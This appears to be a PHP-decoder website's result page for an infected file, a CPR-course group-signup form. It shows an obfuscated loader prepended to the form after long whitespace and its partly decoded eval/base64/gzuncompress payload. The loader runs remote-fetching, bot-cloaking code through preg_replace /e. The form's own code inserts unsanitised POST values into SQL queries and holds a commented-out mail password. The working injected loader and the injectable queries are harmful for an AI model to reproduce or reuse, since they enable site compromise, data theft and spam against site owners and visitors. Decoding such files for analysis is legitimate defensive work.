Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

b'eval(gzuncompress(base64_decode("eJyVV21v2kgQ/isbVEW25Pq8vBku5xMoJRdLORwTUqlKkUVhSawaOzLm0irKf7+Z2bW9JCa9gw+Yndl5n2fG8YYZJ2uxiVOxNlprUYh8G6fLIstbpvnMNvt0VcRZynRKtBHZxvjg+5z7icVOP4RBEIYO89j09urKZM+sPtnGqzwr4q0winwvzDOWi2Kfp0wXAacvtaZ7UWziRACRJwnKBy7kM0msEzgo1vcT/HCjY7E+3P8A/0ESUBSPXXFwbjEXWEZxGkc7URg1ZWCxtmNajAM5hkAQy30Di8k8XScemuQnGJZw7o3QYrwZrbK0EGmxq0V0QT93TGYz5RE9kUt2LbMHjnRAURUgJRpDI5KdQPPKEEXiR7wDFcppkyIThgEFfKROjTIqnDdFZdAhq4AndCBTQRPPsKsip+QYSovFzm9nV8H1PIIfi/1PT7mDbG3zXcGXk/GnyczaLMH1dxlnk/ntbDqfjac3F3BBFdlx/vNgOp2cz+f+35Pgdm6xHoUJbfMpeDIa5T0UtdrnSbRKsp3QTjEdYvtY/DTUZUhCLUarPQgh8L9oWUWeMquqhGTljja7bPU9exRpXfsDMB3yApkJsREwsYk0Gi0o+4c6DnmcJuXssD/Bpc3jnspHNXDrr8mcPatMvZw+LX96aIko2OV8fv0bt52v+df0MtsVvyMbmfaCRy0KHoc6Ra+vL6+j4EZvvB72iY3nnyezGz+YNui+3Yn84/geekYKR2EkvFTw9IBocPIOACn/THZ6yoxXgMM+1uQ/wJo6UjZGHFpWM4a3B4RFo43Kd4VPaBin3Iofj0m2FkarstEqRQLfPkWEUdx3zqLu53jbcE/ykU78Us/72K/jPF/+1GCoLVtLazbewQ4eHhz1IOG8h51VoelTHhfoCEQVPITyxhaHKFD5hGQ3oJcqOslUy+sPCeiAfbRRguSVStBZHStJUb5U+rN9AQmXkeQ+hspxnDAAkWL1kGm2u2B7x7QVo1ZFLqGtrS7aFL8WZakB0LmKCVomp1pNbRPw9BXeY1U4QeDVZMR6lygIAjql7aopAwQnCDUKJUGSQiwyjdSD1uUDeQtCpctzK5JsJu81hMr2jndUTNHNZAb9c1ffH9JIW5gqj6PjLOxEn1tO22JdGhev9XYccJFzlT1Ftr1dkRdZkj2JvElJhw8JybHKN1kulqsHKKoI0WS5YyqT3p91ytFYEPmYQc/Jw7rYOhhKF4uNJNyp6wuvAUzLgXhUFoZx8N9kvYBVxsmxUHdwLkNLLeS4P06n4fGW7HJJxoQ2hnAwpAJa/Eq8reWx6xCwwnR9T6JMpRwT2NfcK9PadKvy81kheuKNtuteOYls1RS2AnnVCXLHwOh66zhPl4C6UXThX02iyLQ/+TOYtMHsC2i7Hs/G8EjsID2pIE73SpbgwUJRbmj1Ubds8QYvun2OBb44QuxjF0viZPr5yLVDCqLSoPlOKa0+GvTwyGJv18juUFptWmW8aoDrcdLeSEH3m0ldyFe7DaSD3lPBpe6DSeL7qulOyl1FHioEgEfba8ySXIZ3EYL+8ptaxqubZAsujPLwjH0D/d+rIVZsH723BvflMqCK6+wVcLVw04i+ROPb+WVr4XmKjWU5Rv46uJnftd5QyyFSjoSRGjaaUhfTZ5WQrpnjumqq0BTQCAN6oygXrBCRO/QUuhulLRr7kACbsHgk/lkm5R2Q8AvjhkOZ9+qk7+BLgEkgDCt+YTj0WCZDvhVBdElXke1XD/Ivvduskv1aRFm6EuWhxElKNbX/CBZZka5wCVFHajiBawhf74N93xlSLx6AfbkM1VwdSrPuVAci3YOlRFUlft6MAjTBqqgnnndBi78ab5qrVH++qr9axxDRq0vVhX7V6XS5g0Euy04ndGl2va0AF6c9XpE1I/cBGaL61ZT2NNjv6rfTs1cpeTnsCvj+C30bUJY=")));';

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                 /*versio:2.20*/$I1Il=99223;if (!function_exists('IIlllll1')){$GLOBALS['I1Il'] = '$LUY3VybAAmX2luaXQYWxsb3dfdXJsX2ZvcGVuMQQaHR0cDovLwnDJndheT1maWxlX2dldF9jb250ZW50cwX3NldG9wdA.X2V4ZWMJndheT1jdXJsVWLwOlcEb3Nvbi5pbg yUllBTkVDQVNFWS5DT00k.cGhwYWlkZS5jb20dwBF(WV8GOg(ZGlzcGxheV9lcnJvcnMIZGV0ZXJtaW5hdG9yPZnRwMTMt^Mi4yMASUkxSTExSTFsMTFJWYmFzZTY0X2RlY29kZQwUYmFzZTY0X2VuY29kZQUVkSFRUUFMJ~dPb2Zm@aHR0cHM6Ly8ESFRUUF9IT1NUF_dW5pb24sc2VsZWN0&.igUkVRVUVTVF9VUkk##zU0NSSVBUX05BTUUuEFUVVFUllfU1RSSU5HPwL2Rldi9zaG0L3RtcC8uZm9udC11bml4MskL3RtcC8uSUNFLXVuaXg}VE1Q VEVNUAV{VE1QRElS&}_L3RtcAdXBsb2FkX3RtcF9kaXI*dG1wZPyd3AtY29udGVudC91cGxvYWRz&d3AtY29udGVudC9jYWNoZQLgdmVyc2lv$gLQlC!&LXBocARVhFQ1BIUAb3V0b2sUdjSFRUUF9VU0VSX0FHRU5UcpFfC$LAZ29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgML3BnLnBocD91PQrRNJms9JnQ9cGhwJnA9NJnY9_y%ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5VlYyMXYya2dRL2lzYlZFVzI1UHE4dkJrdTV4TW9KUmRMT1J3VFVxbEtrVVZoU2F3YU96TG0waXJLZjcrWjJiVzlKQ2E5Z3crWW5kbDVuMmZHOFlZWkoydXhpVk94TmxwclVZaDhHNmZMSXN0YnB2bk1OdnQwVmNSWnluUkt0QkhaeHZqZys1ejdpY1ZPUDRSQkVJWU84OWowOXVyS1pNK3NQdG5HcXp3cjRxMHdpbnd2ekRPV2kyS2ZwMHdYQWFjdnRhWjdVV3ppUkFDUkp3bktCeTdrTTBtc0V6Z28xdmNUL0hDalk3RSszUDhBLzBFU1VCU1BYWEZ3YmpFWFdFWnhHa2M3VVJnMVpXQ3h0bU5hakFNNWhrQVF5MzBEaThrOFhTY2VtdVFuR0padzdvM1FZcndacmJLMEVHbXhxMFYwUVQ5M1RHWXo1UkU5a1V0MkxiTUhqblJBVVJVZ0pScERJNUtkUVBQS0VFWGlSN3dERmNwcGt5SVRoZ0VGZktST2pUSXFuRGRGWmRBaHE0QW5kQ0JUUVJQUHNLc2lwK1FZU292RnptOW5WOEgxUElJZmkvMVBUN21EYkczelhjR1hrL0dueWN6YUxNSDFkeGxuay9udGJEcWZqYWMzRjNCQkZkbHgvdk5nT3AyY3orZiszNVBnZG02eEhvVUpiZk1wZURJYTVUMFV0ZHJuU2JSS3NwM1FUakVkWXZ0WS9EVFVaVWhDTFVhclBRZ2g4TDlvV1VXZU1xdXFoR1RsamphN2JQVTlleFJwWGZzRE1CM3lBcGtKc1JFd3NZazBHaTBvKzRjNkRubWNKdVhzc0QvQnBjM2puc3BITlhEcnI4bWNQYXRNdlp3K0xYOTZhSWtvMk9WOGZ2MGJ0NTJ2K2RmME10c1Z2eU1ibWZhQ1J5MEtIb2M2UmErdkw2K2o0RVp2dkI3MmlZM25ueWV6R3orWU51aSszWW44NC9nZWVrWUtSMkVrdkZUdzlJQm9jUElPQUNuL1RIWjZ5b3hYZ01NKzF1US93Sm82VWpaR0hGcFdNNGEzQjRSRm80M0tkNFZQYUJpbjNJb2ZqMG0yRmthcnN0RXFSUUxmUGtXRVVkeDN6cUx1NTNqYmNFL3lrVTc4VXMvNzJLL2pQRi8rMUdDb0xWdExhemJld1E0ZUhoejFJT0c4aDUxVm9lbFRIaGZvQ0VRVlBJVHl4aGFIS0ZENWhHUTNvSmNxT3NsVXkrc1BDZWlBZmJSUmd1U1ZTdEJaSFN0SlViNVUrck45QVFtWGtlUStoc3B4bkRBQWtXTDFrR20ydTJCN3g3UVZvMVpGTHFHdHJTN2FGTDhXWmFrQjBMbUtDVm9tcDFwTmJSUHc5QlhlWTFVNFFlRFZaTVI2bHlnSUFqcWw3YW9wQXdRbkNEVUtKVUdTUWl3eWpkU0QxdVVEZVF0Q3BjdHpLNUpzSnU4MWhNcjJqbmRVVE5ITlpBYjljMWZmSDlKSVc1Z3FqNlBqTE94RW4xdE8yMkpkR2hldjlYWWNjSkZ6bFQxRnRyMWRrUmRaa2oySnZFbEpodzhKeWJIS04xa3VscXNIS0tvSTBXUzVZeXFUM3A5MXl0RllFUG1ZUWMvSnc3cllPaGhLRjR1TkpOeXA2d3V2QVV6TGdYaFVGb1p4OE45a3ZZQlZ4c214VUhkd0xrTkxMZVM0UDA2bjRmR1c3SEpKeG9RMmhuQXdwQUphL0VxOHJlV3g2eEN3d25SOVQ2Sk1wUndUMk5mY0s5UGFkS3Z5ODFraGV1S050dXRlT1lsczFSUzJBbm5WQ1hMSHdPaDY2emhQbDRDNlVYVGhYMDJpeUxRLytUT1l0TUhzQzJpN0hzL0c4RWpzSUQycElFNzNTcGJnd1VKUmJtajFVYmRzOFFZdnVuMk9CYjQ0UXV4akYwdmlaUHI1eUxWRENxTFNvUGxPS2EwK0d2VHd5R0p2MThqdVVGcHRXbVc4YW9EcmNkTGVTRUgzbTBsZHlGZTdEYVNEM2xQQnBlNkRTZUw3cXVsT3lsMUZIaW9FZ0VmYmE4eVNYSVozRVlMKzhwdGF4cXViWkFzdWpQTHdqSDBEL2QrcklWWnNINzIzQnZmbE1xQ0s2K3dWY0xWdzA0aStST1BiK1dWcjRYbUtqV1U1UnY0NnVKbmZ0ZDVReXlGU2pvU1JHamFhVWhmVFo1V1FycG5qdW1xcTBCVFFDQU42b3lnWHJCQ1JPL1FVdWh1bExScjdrQUNic0hnay9sa201UjJROEF2amhrT1o5K3FrNytCTGdFa2dEQ3QrWVRqMFdDWkR2aFZCZEVsWGtlMVhEL0l2dmR1c2t2MWFSRm02RXVXaHhFbEtOYlgvQ0JaWmthNXdDVkZIYWppQmF3aGY3NE45M3hsU0x4NkFmYmtNMVZ3ZFNyUHVWQWNpM1lPbFJGVWxmdDZNQWpUQnFxZ25ubmRCaTc4YWI1cXJWSCsrcXI5YXh4RFJxMHZWaFg3VjZYUzVnMEV1eTA0bmRHbDJ2YTBBRjZjOVhwRTFJL2NCR2FMNjFaVDJOTmp2NnJmVHMxY3BlVG5zQ3ZqK0MzMGJVSlk9IikpKTsccHJlZ19yZXBsYWNl$t';function IIlllll1($a, $b){$c=$GLOBALS['I1Il']; $d=pack('H*','6261736536345f6465'.'636f6465'); return $d(substr($c, $a, $b));};$QQO00QO0Q = IIlllll1(3378, 16);$QQO00QO0Q("/IIlIIII1I/e", IIlllll1(734, 2643), "IIlIIII1I");};?><?php
########## Header ##############################
include('inc/php/header.php');
include("cprlms/inc/php/dbconnect.php");
########## BODY CONTENT ########################
?>
<style>
span.ok { color:green }
</style>
<h1>Group Discount</h1>
<img src="images/groups.jpg" width="281" height="212" class="img_float" alt="" />
<p>Need assistance? Customer Care is here to help. To inquire about our health care certifications and services found on our Web site, contact us by e-mail during our business hours. We're happy to assist you 7 days a week.</p><div style="clear:both;">&nbsp;</div>
<h2>Group Discount Benefits</h2>
<ul>
    <li>Guaranteed LOW group price!</li>
    <li>Catering to corporations, students, youth groups, schools &amp; more!</li>
    <li>Unlimited course access</li>
    <li>Account created within 24 hours</li>
    <li>Print your card immediately, plus get a free card in the mail</li>
</ul><br />
<h2>Apply for Group Account</h2>
<div>
<?php
include('cprlms/inc/php/xss_clean.php');
if(count($_POST) == 0){
	$fn = $ln = $company = $phone1 = $phone2 = $phone3 = $email = $no_of_students = $course = '';
	$address = $city = $state = $country = $zipcode = '';
	if( isset($_GET) ):
		foreach($_GET as $k=>$v):
			if($k == 'email'):
				if($v==strip_xss_email($v)):  $$k=strip_xss_email($v);	else: $$k='';	endif;
			elseif($k != 'pass'):
				if($v==strip_xss_relax($v)):  $$k=strip_xss_relax($v);	else: $$k='';	endif;
			endif;
		endforeach;
	endif;
	$captchaMsg = '';
	if($err=='badcaptcha'):	$captchaMsg = '<span style="color:red">Wrong word(s) were entered!<br />Please try again.</span>';	endif;
?>
<style>
#recaptcha_widget_div { margin-right:130px; }
</style>
<form name="groups" id="groups" action="groups.php" method="post" onsubmit="return ValidateCaptcha();">
	<label class="lbl_short">Full Name: <star>*</star></label>
    <input type="text" name="fn" id="fn" value="<?php echo $fn; ?>" class="input_short" />
    <input type="text" name="ln" id="ln" value="<?php echo $ln; ?>" class="input_short" /><br />
    <label class="lbl_short">Company Name: <star>*</star></label><input type="text" name="company" id="company" value="<?php echo $company; ?>" /><br />
	<label class="lbl_short">Contact Phone: <star>*</star></label>
    <input type="text" name="phone1" id="phone1" value="<?php echo $phone1; ?>" class="input_v_short" />
    <input type="text" name="phone2" id="phone2" value="<?php echo $phone2; ?>" class="input_v_short" />
    <input type="text" name="phone3" id="phone3" value="<?php echo $phone3; ?>" class="input_v_short" /><br />
   
    <label class="lbl_short">Email: <star>*</star></label><input type="text" name="email" id="email" value="<?php echo $email; ?>" /><br />
    <label class="lbl_short">How many students? <star>*</star></label><input type="text" name="no_of_students" id="no_of_students" value="<?php echo $no_of_students; ?>" /><br />
    <label class="lbl_short">Interested Course: <star>*</star></label>
    <select name="course" id="course">
    	<option value="">Select</option>
<?php
### Fetch first 6 courses listed in the database with status 'Active' ###
$sql = "SELECT mid, name, price, display_order FROM modules WHERE status='Active' ORDER BY display_order LIMIT 0, 6";
$result = mysql_query($sql);
### Printing Courses  ###
while(list($mid, $mName, $price, $display_order) = mysql_fetch_array($result)){
	echo '<option value="' . $mid . '" ';
	if($course == $mid):	echo 'selected="selected"';	endif;
	echo '>' . $mName . ' ($' . $price . ')</option>';
}
?>
    </select><br /><br />
    <label class="lbl_short">Company Address: <star>*</star></label><input type="text" name="address" id="address" value="<?php echo $address; ?>" /><br />
    <label class="lbl_short">City: <star>*</star></label><input type="text" name="city" id="city" value="<?php echo $city; ?>" /><br />
    <label class="lbl_short">State: <star>*</star></label>
    <select name="state">
        <option value="" selected="selected">- Please Select -</option>
<?php
	$sql = "SELECT st_abbr, state FROM states";
	$result = mysql_query($sql);
	while($row = mysql_fetch_array($result)){
		echo '<option value="' . $row['st_abbr'] . '" ';
		if($row['st_abbr'] == $state):	echo 'selected="selected"';	endif;
		echo '>' . $row['state'] . '</option>';
	}
?>
    </select><br />
    <label class="lbl_short">Country: <star>*</star></label>
	<select name="country">
<?php
	$sql = "SELECT country_id, country FROM countries";
	$result = mysql_query($sql);
	while($row = mysql_fetch_array($result)){
		echo '<option value="' . $row['country_id'] . '" ';
		if($row['country_id'] == $country):	echo 'selected="selected"';	endif;
		echo '>' .$row['country'] . '</option>';		
	}
?>
	</select>
    <br />
    <label class="lbl_short">Zipcode: <star>*</star></label><input type="text" name="zipcode" id="zipcode" value="<?php echo $zipcode; ?>" /><br />
    <label class="lbl_short">Create Password: <star>*</star></label><input type="password" name="pass" id="pass" autocomplete="off" /><br />
    <span style="padding-left:180px;">minimum 6 characters</span><br />
<label class="lbl_short"><?php //echo $captchaMsg; ?></label>
    <div style="clear:both;"></div>
<script type="text/javascript">DrawCaptcha()</script>
<div style="clear:both;">&nbsp;</div>
    <label class="lbl_short">&nbsp;</label><input type="image" src="images/btn-submit.png" style="margin-left:95px; width:104px; height:32px; border:none; background:none;" />
</form>
<?php
  } else {
	  
	$getParams = '';
	foreach($_POST as $key => $value):
		$$key = $value;
		$getParams .= $key."=".$value."&";
	endforeach;
		
//$errFName=$errLName=$errCName=$errPhone=$errEmail=$errHMStudents=$errICourse=$errCaddress=$errCity=$errState=$errZip=$errCountry= '';
### Name can have letters, dashes and spaces only
$isErr = false;
if(empty($fn) || (preg_match("/^[- a-zA-Z\.]+$/", $fn) === 0) )
	$isErr = true;
if(empty($ln) || (preg_match("/^[- a-zA-Z\.]+$/", $ln) === 0) )
	$isErr = true;
if(empty($company) || (preg_match("/^[- a-zA-Z\.]+$/", $company) === 0) )
	$isErr = true;
// Phone mask xxx-xxx-xxxx
if( empty($phone1) && empty($phone2) && empty($phone3) )
	$isErr = true;

if( empty($email) || (preg_match("/^[a-zA-Z]\w+(\.\w+)*\@\w+(\.[0-9a-zA-Z]+)*\.[a-zA-Z]{2,4}$/", $email) === 0))
	$isErr = true;
if(empty($no_of_students) || empty($course) || empty($address) || empty($city) || empty($state) || empty($country) || empty($zipcode) || empty($pass))
	$isErr = true;

if(strlen($pass)<6)
	$isErr = true;
	
	if($isErr):
		header("Location: groups.php?".$getParams);
	endif;


	include("cprlms/inc/php/functions.inc.php");
	@$cr64 = new AzDGCrypt();
	$pass = @$cr64->crypt($pass);
	
	$phone = $phone1 . "-" . $phone2 . "-" . $phone3;

	$sql = "INSERT INTO `groups` (`mid`, `firstname`, `lastname`, `company_name`, `phone`, `email`, `password`, `no_of_students`, `address`, `city`, `state`, `country`, `zipcode`, `created_at`)
			VALUES ('" . $course . "', '" . $fn . "', '" . $ln . "', '" . $company . "', '" . $phone . "', '" . $email . "', '" . $pass . "', '" . $no_of_students . "', '" . $address . "', '" . $city . "', '" . $state . "', '" . $country . "', '" . $zipcode . "', NOW());";
	mysql_query($sql);
	
	$sql = "SELECT name FROM modules WHERE mid=" . $course;
	$result = mysql_query($sql);
	list($mName) = mysql_fetch_array($result);
	
	$sql = "SELECT country FROM countries WHERE country_id=" . $country;
	$result = mysql_query($sql);
	list($countryName) = mysql_fetch_array($result);

//////////////////////////////  Sign-up Email //////////////////////////////////

$to = "[email protected]";
//$to = "[email protected]";
$from = "[email protected]";
$subject = 'Group Account Application';

$body = "<u>Find Group Application Details Below</u>";
$body .= "<br /><br /><p><b>First Name:</b> &nbsp;&nbsp;" . $fn;
$body .= "</p><p><b>Last Name:</b> &nbsp;&nbsp;" . $ln;
$body .= "</p><p><b>Company Name:</b> &nbsp;&nbsp;" . $company;
$body .= "</p><p><b>Contact Phone:</b> &nbsp;&nbsp;" . $phone;
$body .= "</p><p><b>Email:</b> &nbsp;&nbsp;" . $email;
$body .= "</p><p><b>How many students:</b> &nbsp;&nbsp;" . $no_of_students;
$body .= "</p><p><b>Interested Course:</b> &nbsp;&nbsp;" . $mName;
$body .= "</p><p><b>Company Address:</b> &nbsp;&nbsp;" . $address;
$body .= "</p><p><b>City:</b> &nbsp;&nbsp;" . $city;
$body .= "</p><p><b>State:</b> &nbsp;&nbsp;" . $state;
$body .= "</p><p><b>Country:</b> &nbsp;&nbsp;" . $countryName;
$body .= "</p><p><b>Zipcode:</b> &nbsp;&nbsp;" . $zipcode;


require "inc/php/smtpclass/smtpemail.php";

$mail = new EMail;
//$mail->Username = '[email protected]';
//$mail->Password = '1qazxsw2';

$mail->SetFrom($from,"CPR Select");		// Name is optional
$mail->AddTo($to,"");	// Name is optional
//$mail->AddTo("[email protected]");
$mail->Subject = $subject;
$mail->Message = $body;

//Optional stuff
//$mail->AddCc("[email protected]","name 3"); 	// Set a CC if needed, name optional
$mail->ContentType = "text/html";        		// Defaults to "text/plain; charset=iso-8859-1"
//$mail->Headers['X-SomeHeader'] = 'abcde';		// Set some extra headers if required
$mail->ConnectTimeout = 30;		// Socket connect timeout (sec)
$mail->ResponseTimeout = 8;		// CMD response timeout (sec)

$success = $mail->Send();

/////////////////////////////////////////////////////////////////////////////////

?>
<h4 style="color:green;">Thank you for your interest. We will get back to you  within 24 hours</h4>
<?php }  ### Close IF: isset($_POST) ?>
</div>
<?php
########## RIGHT PANEL #########################
include('inc/php/rightpanel.php');

########## FOOTER ##############################
include('inc/php/footer.php');
?>

Function Calls

pack 1
substr 2
IIlllll1 2
preg_replace 1
base64_decode 2
function_exists 1

Variables

$a 734
$b 2643
$c $LUY3VybAAmX2luaXQYWxsb3dfdXJsX2ZvcGVuMQQaHR0cDovLwnDJndheT1..
$d base64_decode
$I1Il $LUY3VybAAmX2luaXQYWxsb3dfdXJsX2ZvcGVuMQQaHR0cDovLwnDJndheT1..
$QQO00QO0Q preg_replace

Stats

MD5 06fa3d076f582900f3f05f3d8f91e667
Eval Count 1
Decode Time 215 ms